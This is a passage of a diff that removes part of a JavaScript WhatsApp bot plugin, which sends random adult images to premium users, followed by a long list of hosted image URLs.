-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yaoi' : 'nsfw yaoi'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyaoi' : 'nsfwyaoi'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno yaoi' : 'nsfw yaoi'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoyaoi' : 'nsfwyaoi'}`]], m, frep)}}
-
-if (command == temaX[34][1] || command == temaX[34][2]) {
-let list = temaX[34][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[35][1] || command == temaX[35][2]) {
-let list = temaX[35][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[36][1] || command == temaX[36][2]) {
-let list = temaX[36][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[37][1] || command == temaX[37][2]) {
-let list = temaX[37][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[38][1] || command == temaX[38][2]) {
-let list = temaX[38][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[39][1] || command == temaX[39][2]) {
-let list = temaX[39][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[40][1] || command == temaX[40][2]) {
-let list = temaX[40][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[41][1] || command == temaX[41][2]) {
-let list = temaX[41][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == temaX[42][1] || command == temaX[42][2]) {
-let list = temaX[42][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[43][1] || command == temaX[43][2]) {
-let list = temaX[43][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[44][1] || command == temaX[44][2]) {
-let list = temaX[44][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[45][1] || command == temaX[45][2]) {
-let list = temaX[45][0]
-let link = list[Math.floor(Math.random() * list.length)]
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-} catch (e) {
-await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)}
-}
-handler.command = [temaX[0][1], temaX[0][2], temaX[1][1], temaX[1][2], temaX[2][1], temaX[2][2], temaX[3][1], temaX[3][2], temaX[4][1], temaX[4][2], temaX[5][1], temaX[5][2], temaX[6][1], temaX[6][2], temaX[7][1], temaX[7][2], temaX[8][1], temaX[8][2], temaX[9][1], temaX[9][2], temaX[10][1], temaX[10][2], temaX[11][1], temaX[11][2], temaX[12][1], temaX[12][2], temaX[13][1], temaX[13][2], temaX[14][1], temaX[14][2], temaX[15][1], temaX[15][2], temaX[16][1], temaX[16][2], temaX[17][1], temaX[17][2], temaX[18][1], temaX[18][2], temaX[19][1], temaX[19][2], temaX[20][1], temaX[20][2], temaX[21][1], temaX[21][2], temaX[22][1], temaX[22][2], temaX[23][1], temaX[23][2], temaX[24][1], temaX[24][2], temaX[25][1], temaX[25][2], temaX[26][1], temaX[26][2], temaX[27][1], temaX[27][2], temaX[28][1], temaX[28][2], temaX[29][1], temaX[29][2], temaX[30][1], temaX[30][2], temaX[31][1], temaX[31][2], temaX[32][1], temaX[32][2], temaX[33][1], temaX[33][2], temaX[34][1], temaX[34][2], temaX[35][1], temaX[35][2], temaX[36][1], temaX[36][2], temaX[37][1], temaX[37][2], temaX[38][1], temaX[38][2], temaX[39][1], temaX[39][2], temaX[40][1], temaX[40][2], temaX[41][1], temaX[41][2], temaX[42][1], temaX[42][2], temaX[43][1], temaX[43][2], temaX[44][1], temaX[44][2], temaX[45][1], temaX[45][2]]
-handler.premium = true
-export default handler
-
-global.cosplay = ['https://img.nickpic.host/qDgksb.jpg',
-'https://img.nickpic.host/qDg9kX.jpg',
-'https://img.nickpic.host/qDg2Me.jpg',
-'https://img.nickpic.host/qDg05F.jpg',
-'https://img.nickpic.host/qDgYoD.jpg',
-'https://img.nickpic.host/qDgVZM.jpg',
-'https://img.nickpic.host/qDgNzP.jpg',
-'https://img.nickpic.host/qDg8Nd.jpg',
-'https://img.nickpic.host/qDgHA5.jpg',
-'https://img.nickpic.host/qDg7Qq.jpg',
-'https://img.nickpic.host/qDgJQf.jpg',
-'https://img.nickpic.host/qDgLV6.jpg',
-'https://img.nickpic.host/qDgTpp.jpg',
-'https://img.nickpic.host/qDgWAY.jpg',
-'https://img.nickpic.host/qDgddG.jpg',
-'https://img.nickpic.host/qDgZ7A.jpg',
-'https://img.nickpic.host/qDqG5z.jpg',
-'https://img.nickpic.host/qDqIRc.jpg',
-'https://img.nickpic.host/qDqmkW.jpg',
-'https://img.nickpic.host/qDqvUj.jpg',
-'https://img.nickpic.host/qDqxVJ.jpg',
-'https://img.nickpic.host/qDqrEs.jpg',
-'https://img.nickpic.host/qDqbpn.jpg',
-'https://img.nickpic.host/qDqs72.jpg',
-'https://img.nickpic.host/qDq3dQ.jpg',
-'https://img.nickpic.host/qDqaSx.jpg',
-'https://img.nickpic.host/qDqjRN.jpg',
-'https://img.nickpic.host/qDqlJO.jpg',
-'https://img.nickpic.host/qDqS3m.jpg',
-'https://img.nickpic.host/qDqgfq.jpg',
-'https://img.nickpic.host/qDqcU8.jpg',
-'https://img.nickpic.host/qDqupd.jpg',
-'https://img.nickpic.host/qDqAED.jpg',
-'https://img.nickpic.host/qDqE85.jpg',
-'https://img.nickpic.host/qDqOdP.jpg',
-'https://img.nickpic.host/qDq6SM.jpg',
-'https://img.nickpic.host/qDqiXb.jpg',
-'https://img.nickpic.host/qDqC1F.jpg',
-'https://img.nickpic.host/qDqQJe.jpg',
-'https://img.nickpic.host/qDqX3X.jpg',
-'https://img.nickpic.host/qDqnff.jpg',
-'https://img.nickpic.host/qDqMv6.jpg',
-'https://img.nickpic.host/qDqROp.jpg',
-'https://img.nickpic.host/qDq18Y.jpg',
-'https://img.nickpic.host/qDq4yA.jpg',
-'https://img.nickpic.host/qDqz1z.jpg',
-'https://img.nickpic.host/qDqwcG.jpg',
-'https://img.nickpic.host/qDq7Lc.jpg',
-'https://img.nickpic.host/qDqK3W.jpg',
-'https://img.nickpic.host/qDqH0j.jpg',
-'https://img.nickpic.host/qDqVvJ.jpg',
-'https://img.nickpic.host/qDqfOn.jpg',
-'https://img.nickpic.host/qDqecQ.jpg',
-'https://img.nickpic.host/qDq0Ks.jpg',
-'https://img.nickpic.host/qDq2y2.jpg',
-'https://img.nickpic.host/qDqk4x.jpg',
-'https://img.nickpic.host/qDqJLN.jpg',
-'https://img.nickpic.host/qDqPFO.jpg',
-'https://img.nickpic.host/qDqTim.jpg',
-'https://img.nickpic.host/qDqW08.jpg',
-'https://img.nickpic.host/qDuGKD.jpg',
-'https://img.nickpic.host/qDqdxq.jpg',
-'https://img.nickpic.host/qDqyOd.jpg',
-'https://img.nickpic.host/qDumG5.jpg',
-'https://img.nickpic.host/qDuvPF.jpg',
-'https://img.nickpic.host/qDuocP.jpg',
-'https://img.nickpic.host/qDup4M.jpg',
-'https://img.nickpic.host/qDuBFe.jpg',
-'https://img.nickpic.host/qDur2b.jpg',
-'https://img.nickpic.host/qDubiX.jpg',
-'https://img.nickpic.host/qDu3xf.jpg',
-'https://img.nickpic.host/qDuFh6.jpg',
-'https://img.nickpic.host/qDulGY.jpg',
-'https://img.nickpic.host/qDuaYp.jpg',
-'https://img.nickpic.host/qDu5gA.jpg',
-'https://img.nickpic.host/qDuSDG.jpg',
-'https://img.nickpic.host/qDucPz.jpg',
-'https://img.nickpic.host/qDuqac.jpg',
-'https://img.nickpic.host/qDuuiW.jpg',
-'https://img.nickpic.host/qDuOBj.jpg',
-'https://img.nickpic.host/qDuA21.jpg',
-'https://img.nickpic.host/qDu6Yn.jpg',
-'https://img.nickpic.host/qDuhhJ.jpg',
-'https://img.nickpic.host/qDuQIs.jpg',
-'https://img.nickpic.host/qDuUg2.jpg',
-'https://img.nickpic.host/qDuXDQ.jpg',
-'https://img.nickpic.host/qDutaN.jpg',
-'https://img.nickpic.host/qDuMnO.jpg',
-'https://img.nickpic.host/qDuR9m.jpg',
-'https://img.nickpic.host/qDu4B8.jpg',
-'https://img.nickpic.host/qDuD6q.jpg',
-'https://img.nickpic.host/qDuwYd.jpg',
-'https://img.nickpic.host/qDu7ID.jpg',
-'https://img.nickpic.host/qDu8q5.jpg',
-'https://img.nickpic.host/qDuKDP.jpg',
-'https://img.nickpic.host/qDuYTM.jpg',
-'https://img.nickpic.host/qDuNjF.jpg',
-'https://img.nickpic.host/qDuVne.jpg',
-'https://img.nickpic.host/qDuf9X.jpg',
-'https://img.nickpic.host/qDu2bb.jpg',
-'https://img.nickpic.host/qDu96f.jpg',
-'https://img.nickpic.host/qDueH6.jpg',
-'https://img.nickpic.host/qDuJmp.jpg',
-'https://img.nickpic.host/qDuLqY.jpg',
-'https://img.nickpic.host/qDuTWG.jpg',
-'https://img.nickpic.host/qDuPwA.jpg',
-'https://img.nickpic.host/qDuZjz.jpg',
-'https://img.nickpic.host/qDAIb1.jpg',
-'https://img.nickpic.host/qDudtc.jpg',
-'https://img.nickpic.host/qDuy9W.jpg',
-'https://img.nickpic.host/qDAmCj.jpg',
-'https://img.nickpic.host/qDAoHJ.jpg',
-'https://img.nickpic.host/qDAvmn.jpg',
-'https://img.nickpic.host/qDAxus.jpg',
-'https://img.nickpic.host/qDABw2.jpg',
-'https://img.nickpic.host/qDAbWQ.jpg',
-'https://img.nickpic.host/qDAslx.jpg',
-'https://img.nickpic.host/qDA3tN.jpg',
-'https://img.nickpic.host/qDA5Nq.jpg',
-'https://img.nickpic.host/qDAFeO.jpg',
-'https://img.nickpic.host/qDAjrm.jpg',
-'https://img.nickpic.host/qDAlC8.jpg',
-'https://img.nickpic.host/qDAcmd.jpg',
-'https://img.nickpic.host/qDAguD.jpg',
-'https://img.nickpic.host/qDAqz5.jpg',
-'https://img.nickpic.host/qDAElM.jpg',
-'https://img.nickpic.host/qDAuWP.jpg',
-'https://img.nickpic.host/qDAhee.jpg',
-'https://img.nickpic.host/qDAOMF.jpg',
-'https://img.nickpic.host/qDACrX.jpg',
-'https://img.nickpic.host/qDAQQb.jpg',
-'https://img.nickpic.host/qDAUNf.jpg',
-'https://img.nickpic.host/qDAio6.jpg',
-'https://img.nickpic.host/qDAnAp.jpg',
-'https://img.nickpic.host/qDA15G.jpg',
-'https://img.nickpic.host/qDAtzY.jpg',
-'https://img.nickpic.host/qDAMZA.jpg',
-'https://img.nickpic.host/qDA4Mz.jpg',
-'https://img.nickpic.host/qDADkc.jpg',
-'https://img.nickpic.host/qDAzrW.jpg',
-'https://img.nickpic.host/qDA7Q1.jpg',
-'https://img.nickpic.host/qDA8Vj.jpg',
-'https://img.nickpic.host/qDAHAn.jpg',
-'https://img.nickpic.host/qDAYoJ.jpg',
-'https://img.nickpic.host/qDAVZ2.jpg',
-'https://img.nickpic.host/qDAN7s.jpg',
-'https://img.nickpic.host/qDA05Q.jpg',
-'https://img.nickpic.host/qDA2Rx.jpg',
-'https://img.nickpic.host/qDA9kN.jpg',
-'https://img.nickpic.host/qDATpq.jpg',
-'https://img.nickpic.host/qDAJUm.jpg',
-'https://img.nickpic.host/qDAWAd.jpg',
-'https://img.nickpic.host/qDALV8.jpg',
-'https://img.nickpic.host/qDAksO.jpg',
-'https://img.nickpic.host/qDAZ7D.jpg',
-'https://img.nickpic.host/qDAdd5.jpg',
-'https://img.nickpic.host/qDEIRM.jpg',
-'https://img.nickpic.host/qDEG5P.jpg',
-'https://img.nickpic.host/qDEmJF.jpg',
-'https://img.nickpic.host/qDEpse.jpg',
-'https://img.nickpic.host/qDEvUX.jpg',
-'https://img.nickpic.host/qDExfb.jpg',
-'https://img.nickpic.host/qDEbpf.jpg',
-'https://img.nickpic.host/qDErE6.jpg',
-'https://img.nickpic.host/qDE3dY.jpg',
-'https://img.nickpic.host/qDEs8p.jpg',
-'https://img.nickpic.host/qDEaSA.jpg',
-'https://img.nickpic.host/qDEj1G.jpg',
-'https://img.nickpic.host/qDElJz.jpg',
-'https://img.nickpic.host/qDES3c.jpg',
-'https://img.nickpic.host/qDEcUW.jpg',
-'https://img.nickpic.host/qDEuvj.jpg',
-'https://img.nickpic.host/qDEgf1.jpg',
-'https://img.nickpic.host/qDEAEJ.jpg',
-'https://img.nickpic.host/qDEE8n.jpg',
-'https://img.nickpic.host/qDEOys.jpg',
-'https://img.nickpic.host/qDE6S2.jpg',
-'https://img.nickpic.host/qDEC1Q.jpg',
-'https://img.nickpic.host/qDEX3N.jpg',
-'https://img.nickpic.host/qDEQLx.jpg',
-'https://img.nickpic.host/qDEiXO.jpg',
-'https://img.nickpic.host/qDEn0m.jpg',
-'https://img.nickpic.host/qDEMv8.jpg',
-'https://img.nickpic.host/qDEROq.jpg',
-'https://img.nickpic.host/qDE18d.jpg',
-'https://img.nickpic.host/qDEz1P.jpg',
-'https://img.nickpic.host/qDE4yD.jpg',
-'https://img.nickpic.host/qDEwc5.jpg',
-'https://img.nickpic.host/qDEKFF.jpg',
-'https://img.nickpic.host/qDE7LM.jpg',
-'https://img.nickpic.host/qDEYXe.jpg',
-'https://img.nickpic.host/qDEH0X.jpg',
-'https://img.nickpic.host/qDEVxb.jpg',
-'https://img.nickpic.host/qDE0K6.jpg',
-'https://img.nickpic.host/qDEfOf.jpg',
-'https://img.nickpic.host/qDEecY.jpg',
-'https://img.nickpic.host/qDE9Gp.jpg',
-'https://img.nickpic.host/qDEk4A.jpg',
-'https://img.nickpic.host/qDEJPG.jpg',
-'https://img.nickpic.host/qDEPFz.jpg',
-'https://img.nickpic.host/qDEW0W.jpg',
-'https://img.nickpic.host/qDETic.jpg',
-'https://img.nickpic.host/qDOGKJ.jpg',
-'https://img.nickpic.host/qDEdx1.jpg',
-'https://img.nickpic.host/qDEyhj.jpg',
-'https://img.nickpic.host/qDOmGn.jpg',
-'https://img.nickpic.host/qDOogs.jpg',
-'https://img.nickpic.host/qDOp42.jpg',
-'https://img.nickpic.host/qDOvPQ.jpg',
-'https://img.nickpic.host/qDOBax.jpg',
-'https://img.nickpic.host/qDOr2O.jpg',
-'https://img.nickpic.host/qDObiN.jpg',
-'https://img.nickpic.host/qDO3Bm.jpg',
-'https://img.nickpic.host/qDOlGd.jpg',
-'https://img.nickpic.host/qDOFh8.jpg',
-'https://img.nickpic.host/qDOaYq.jpg',
-'https://img.nickpic.host/qDOSD5.jpg',
-'https://img.nickpic.host/qDO5gD.jpg',
-'https://img.nickpic.host/qDOcPP.jpg',
-'https://img.nickpic.host/qDOqaM.jpg',
-'https://img.nickpic.host/qDOunF.jpg',
-'https://img.nickpic.host/qDOOBX.jpg',
-'https://img.nickpic.host/qDOA2e.jpg',
-'https://img.nickpic.host/qDOh6b.jpg',
-'https://img.nickpic.host/qDO6Yf.jpg',
-'https://img.nickpic.host/qDOUqp.jpg',
-'https://img.nickpic.host/qDOQI6.jpg',
-'https://img.nickpic.host/qDOXDY.jpg',
-'https://img.nickpic.host/qDOtjG.jpg',
-'https://img.nickpic.host/qDOiTA.jpg',
-'https://img.nickpic.host/qDOMnz.jpg',
-'https://img.nickpic.host/qDOR9c.jpg',
-'https://img.nickpic.host/qDO4BW.jpg',
-'https://img.nickpic.host/qDOwHj.jpg',
-'https://img.nickpic.host/qDOD61.jpg',
-'https://img.nickpic.host/qDO7IJ.jpg',
-'https://img.nickpic.host/qDO8qn.jpg',
-'https://img.nickpic.host/qDOKws.jpg',
-'https://img.nickpic.host/qDOYT2.jpg',
-'https://img.nickpic.host/qDONjQ.jpg',
-'https://img.nickpic.host/qDOVtx.jpg',
-'https://img.nickpic.host/qDOf9N.jpg',
-'https://img.nickpic.host/qDO2bO.jpg',
-'https://img.nickpic.host/qDO9Cm.jpg',
-'https://img.nickpic.host/qDOeH8.jpg',
-'https://img.nickpic.host/qDOJmq.jpg',
-'https://img.nickpic.host/qDOLqd.jpg',
-'https://img.nickpic.host/qDOTW5.jpg',
-'https://img.nickpic.host/qDOPwD.jpg',
-'https://img.nickpic.host/qDOZjP.jpg',
-'https://img.nickpic.host/qDOdtM.jpg',
-'https://img.nickpic.host/qDOyeF.jpg',
-'https://img.nickpic.host/qDhIbe.jpg',
-'https://img.nickpic.host/qDhmCX.jpg',
-'https://img.nickpic.host/qDhvmf.jpg',
-'https://img.nickpic.host/qDhoNb.jpg',
-'https://img.nickpic.host/qDhxu6.jpg',
-'https://img.nickpic.host/qDhBzp.jpg',
-'https://img.nickpic.host/qDhbWY.jpg',
-'https://img.nickpic.host/qDhslA.jpg',
-'https://img.nickpic.host/qDh3MG.jpg',
-'https://img.nickpic.host/qDhjrc.jpg',
-'https://img.nickpic.host/qDhFez.jpg',
-'https://img.nickpic.host/qDhlCW.jpg',
-'https://img.nickpic.host/qDh5N1.jpg',
-'https://img.nickpic.host/qDhcoj.jpg',
-'https://img.nickpic.host/qDhguJ.jpg',
-'https://img.nickpic.host/qDhqzn.jpg',
-'https://img.nickpic.host/qDhEl2.jpg',
-'https://img.nickpic.host/qDhuZs.jpg',
-'https://img.nickpic.host/qDhOMQ.jpg',
-'https://img.nickpic.host/qDhCrN.jpg',
-'https://img.nickpic.host/qDhhkx.jpg',
-'https://img.nickpic.host/qDhQQO.jpg',
-'https://img.nickpic.host/qDhUVm.jpg',
-'https://img.nickpic.host/qDhnAq.jpg',
-'https://img.nickpic.host/qDhio8.jpg',
-'https://img.nickpic.host/qDhtzd.jpg',
-'https://img.nickpic.host/qDh155.jpg',
-'https://img.nickpic.host/qDhMZD.jpg',
-'https://img.nickpic.host/qDh4MP.jpg',
-'https://img.nickpic.host/qDhDkM.jpg',
-'https://img.nickpic.host/qDh7Qe.jpg',
-'https://img.nickpic.host/qDhzsF.jpg',
-'https://img.nickpic.host/qDh8VX.jpg',
-'https://img.nickpic.host/qDhYpb.jpg',
-'https://img.nickpic.host/qDhN76.jpg',
-'https://img.nickpic.host/qDhVdp.jpg',
-'https://img.nickpic.host/qDh05Y.jpg',
-'https://img.nickpic.host/qDh9JG.jpg',
-'https://img.nickpic.host/qDh2RA.jpg',
-'https://img.nickpic.host/qDhksz.jpg',
-'https://img.nickpic.host/qDhJUc.jpg',
-'https://img.nickpic.host/qDhLVW.jpg',
-'https://img.nickpic.host/qDhTp1.jpg',
-'https://img.nickpic.host/qDhWEj.jpg',
-'https://img.nickpic.host/qDhZ7J.jpg',
-'https://img.nickpic.host/qD6GSs.jpg',
-'https://img.nickpic.host/qDhddn.jpg',
-'https://img.nickpic.host/qD6IR2.jpg',
-'https://img.nickpic.host/qD6mJQ.jpg',
-'https://img.nickpic.host/qD6p3x.jpg',
-'https://img.nickpic.host/qD6vUN.jpg',
-'https://img.nickpic.host/qD6xfO.jpg',
-'https://img.nickpic.host/qD6rE8.jpg',
-'https://img.nickpic.host/qD6bvm.jpg',
-'https://img.nickpic.host/qD6s8q.jpg',
-'https://img.nickpic.host/qD63dd.jpg',
-'https://img.nickpic.host/qD6aSD.jpg',
-'https://img.nickpic.host/qD6j15.jpg',
-'https://img.nickpic.host/qD6lJP.jpg',
-'https://img.nickpic.host/qD6S3M.jpg',
-'https://img.nickpic.host/qD6cXF.jpg',
-'https://img.nickpic.host/qD6gfe.jpg',
-'https://img.nickpic.host/qD6uvX.jpg',
-'https://img.nickpic.host/qD6AOb.jpg',
-'https://img.nickpic.host/qD6E8f.jpg',
-'https://img.nickpic.host/qD6Oy6.jpg',
-'https://img.nickpic.host/qD66cp.jpg',
-'https://img.nickpic.host/qD6C1Y.jpg',
-'https://img.nickpic.host/qD6XFG.jpg',
-'https://img.nickpic.host/qD6QLA.jpg',
-'https://img.nickpic.host/qD6iXz.jpg',
-'https://img.nickpic.host/qD6n0c.jpg',
-'https://img.nickpic.host/qD6MvW.jpg',
-'https://img.nickpic.host/qD6RO1.jpg',
-'https://img.nickpic.host/qD61Kj.jpg',
-'https://img.nickpic.host/qD6wcn.jpg',
-'https://img.nickpic.host/qD64yJ.jpg',
-'https://img.nickpic.host/qD67L2.jpg',
-'https://img.nickpic.host/qD6z4s.jpg',
-'https://img.nickpic.host/qD6KFQ.jpg',
-'https://img.nickpic.host/qD6Yix.jpg',
-'https://img.nickpic.host/qD6VxO.jpg',
-'https://img.nickpic.host/qD6fhm.jpg',
-'https://img.nickpic.host/qD6H0N.jpg',
-'https://img.nickpic.host/qD69Gq.jpg',
-'https://img.nickpic.host/qD60K8.jpg',
-'https://img.nickpic.host/qD6k4D.jpg',
-'https://img.nickpic.host/qD6ecd.jpg',
-'https://img.nickpic.host/qD6JP5.jpg',
-'https://img.nickpic.host/qD6PFP.jpg',
-'https://img.nickpic.host/qD6TiM.jpg',
-'https://img.nickpic.host/qD6W2F.jpg',
-'https://img.nickpic.host/qD6dxe.jpg',
-'https://img.nickpic.host/qD6yhX.jpg',
-'https://img.nickpic.host/qDCGYb.jpg',
-'https://img.nickpic.host/qDCmGf.jpg',
-'https://img.nickpic.host/qDCog6.jpg',
-'https://img.nickpic.host/qDCpDp.jpg',
-'https://img.nickpic.host/qDCvPY.jpg',
-'https://img.nickpic.host/qDCBaA.jpg',
-'https://img.nickpic.host/qDCbnG.jpg',
-'https://img.nickpic.host/qDCr2z.jpg',
-'https://img.nickpic.host/qDC3Bc.jpg',
-'https://img.nickpic.host/qDCFhW.jpg',
